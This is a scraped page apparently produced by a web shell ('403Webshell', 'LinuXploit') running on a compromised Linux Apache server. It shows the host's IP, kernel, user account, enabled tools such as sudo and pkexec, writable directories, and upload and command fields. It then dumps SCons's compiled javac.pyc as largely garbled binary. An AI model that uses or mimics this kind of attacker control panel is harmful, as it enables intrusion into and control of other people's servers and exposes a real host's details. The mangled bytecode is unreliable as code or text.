403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/scons/SCons/Tool/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/scons/SCons/Tool/javac.pyc
�
�b3Qc	@s�dZdZddlZddlZddlZddlZddlmZddl	m
Z
ddlZd�Zd�Z
ejjdd	�Zejjd
ede
dejjjd
ejjj�Zdefd��YZd�Zd�Zd�ZdS(s�SCons.Tool.javac

Tool-specific initialization for javac.

There normally shouldn't be any need to import this module directly.
It will usually be imported through the generic SCons.Tool.Tool()
selection method.

s9src/engine/SCons/Tool/javac.py  2013/03/03 09:48:35 garyoi����N(t_my_normcase(tparse_java_filecCstjj|�jtjd�S(s1Turn a string (path name) into a Java class name.t.(tostpathtnormpathtreplacetsep(R((s"/usr/lib/scons/SCons/Tool/javac.pyt	classname,scs�|jdd�}|jdd�}|djtjjj�|d}|dj�j�}t|tjjj	�r�|j
j�}n@t|tjjj�r�|j�}ntjj
d|j��g}t|��x|D]}	|	j�j�}	t|	tjjj	�r!|j|	�q�t|	tjjj�r�tjj�}
|	j����fd�}x6tj�j��D]\}}
}||
||�q|W|	j||
�|jt|
j���q�tjj
d|	j��q�W|jdd	�}g}x�|D]�}g}t}d}|j�s�t|j�j�|�\}}|r�t}|r�|dj|�}|tj}n|d}d
}x_|D]T}|j	||�}||j _!||j _"t#||�|j _$|j|�q�Wq�n|r�|j%t&|� }|r9|dj|�j	||�}n|dj	||�}||j _!|j
|j _"t#|�|j _$|j|�nx|D]}|j'|g�q�W|j|�qW||fS(saCreate and return lists of source java files
    and their corresponding target class files.
    t
JAVASUFFIXs.javatJAVACLASSSUFFIXs.classis)Java source must be File or Dir, not '%s'c	s�tg|D]!}t|�j��r
|^q
�}�j|�}g|D]}|j|�^qJ}x|D]}t||<qlWdS(N(tsortedRtendswithtDirtFiletTrue(	targtdirpatht	filenamestnt
java_filestmydirtft
java_pathstjp(tdirnodetjs(s"/usr/lib/scons/SCons/Tool/javac.pytfind_java_filesKs$"
tJAVAVERSIONs1.4tN((tgettmust_be_sametSConstNodetFSR
trentrytdisambiguatet
isinstanceRtdirtrdirtErrorst	UserErrort	__class__RtappendtUtiltOrderedDictRtwalktget_abspathtextendtlisttkeysRtNonet
is_derivedRtrfiletFalseRt
attributest
java_classdirtjava_sourcedirRtjava_classnametnametlentset_specific_source(ttargettsourcetenvtjava_suffixtclass_suffixtclassdirtst	sourcedirtslisttentrytresultRRtdirnamesRtversiont
full_tlistRttlisttsource_file_basedtpkg_dirtclassestdtptctttbase((RRs"/usr/lib/scons/SCons/Tool/javac.pytemit_java_classes0sv

%
!

#
s	$JAVACCOMs$JAVACCOMSTRtactiontemitterttarget_factorytsource_factorytpathoptcBs#eZdZdd�Zd�ZRS(s�
    Callable object for generating javac-style path options from
    a construction variable (e.g. -classpath, -sourcepath).
    cCs||_||_||_dS(N(topttvartdefault(tselfR[R\R]((s"/usr/lib/scons/SCons/Tool/javac.pyt__init__�s		cCs�||j}|r2tjj|�r2|g}n|jr|||j}|r|tjj|�sl|g}n||}q|n|r�|jtjjt	t
|��gSgSdS(N(R\R R,tis_ListR]R[Rtpathseptjointmaptstr(R^R>R?R@t
for_signatureRR]((s"/usr/lib/scons/SCons/Tool/javac.pyt__call__�s
	
"N(t__name__t
__module__t__doc__R3R_Rf(((s"/usr/lib/scons/SCons/Tool/javac.pyRZ�sc
Osftjj|�s|g}ntjj|�s<|g}n||dgt|�t|�}|jd�}g}x�t||�D]�\}}t|tjjj	�r�t|tjjj
�r�|j}	qB|j}	nht
jj|�r�|j}	nJt
jj|�r|j}	n,|t|�|kr9|j}	n	|j}	|j|	||||��q�W|S(sX
    A pseudo-Builder wrapper around the separate JavaClass{File,Dir}
    Builders.
    i����s$JAVASUFFIX(R R,R`R<tsubsttzipR%R!R"tBaseRt
JavaClassFiletJavaClassDirRRtisfiletisdirR0(
R@R>R?targstkwRARHRSRDtb((s"/usr/lib/scons/SCons/Tool/javac.pytJava�s*%	 cCstjj|�}tjj|�}tjj|�}|jdt�|j|jd�t�t|_	|j
t�d|d<tjj
d�|d<g|d<g|d<g|d<t|d	<d
|d<d|d
<d|d<d|d<d|d<d|d<d|d<d|d<dS(sDAdd Builders and construction variables for javac to an Environment.s$JAVASUFFIXtjavactJAVACRt
JAVACFLAGStJAVABOOTCLASSPATHt
JAVACLASSPATHtJAVASOURCEPATHt_javapathopts7${_javapathopt("-bootclasspath", "JAVABOOTCLASSPATH")} t_JAVABOOTCLASSPATHs/${_javapathopt("-classpath", "JAVACLASSPATH")} t_JAVACLASSPATHsK${_javapathopt("-sourcepath", "JAVASOURCEPATH", "_JAVASOURCEPATHDEFAULT")} t_JAVASOURCEPATHs#${TARGET.attributes.java_sourcedir}t_JAVASOURCEPATHDEFAULTsv$JAVAC $JAVACFLAGS $_JAVABOOTCLASSPATH $_JAVACLASSPATH -d ${TARGET.attributes.java_classdir} $_JAVASOURCEPATH $SOURCESt	_JAVACCOMs${TEMPFILE('$_JAVACCOM')}tJAVACCOMs.classR
s.javaR	N(R tTooltCreateJavaFileBuildertCreateJavaClassFileBuildertCreateJavaClassDirBuildertadd_emitterR3RURjRWt	AddMethodRtR,tCLVarRZ(R@t	java_filet
java_classtjava_class_dir((s"/usr/lib/scons/SCons/Tool/javac.pytgenerate�s*	












cCsdS(Ni((R@((s"/usr/lib/scons/SCons/Tool/javac.pytexists�s(Rit__revision__Rtos.pathtSCons.ActionR t
SCons.Buildert
SCons.Node.FSRtSCons.Tool.JavaCommonRt
SCons.UtilRRUtActiont
JavaActiontBuilderR!R"tEntrytJavaBuildertobjectRZRtR�R�(((s"/usr/lib/scons/SCons/Tool/javac.pyt<module>	s&		S	$	

Youez - 2016 - github.com/yon3zu
LinuXploit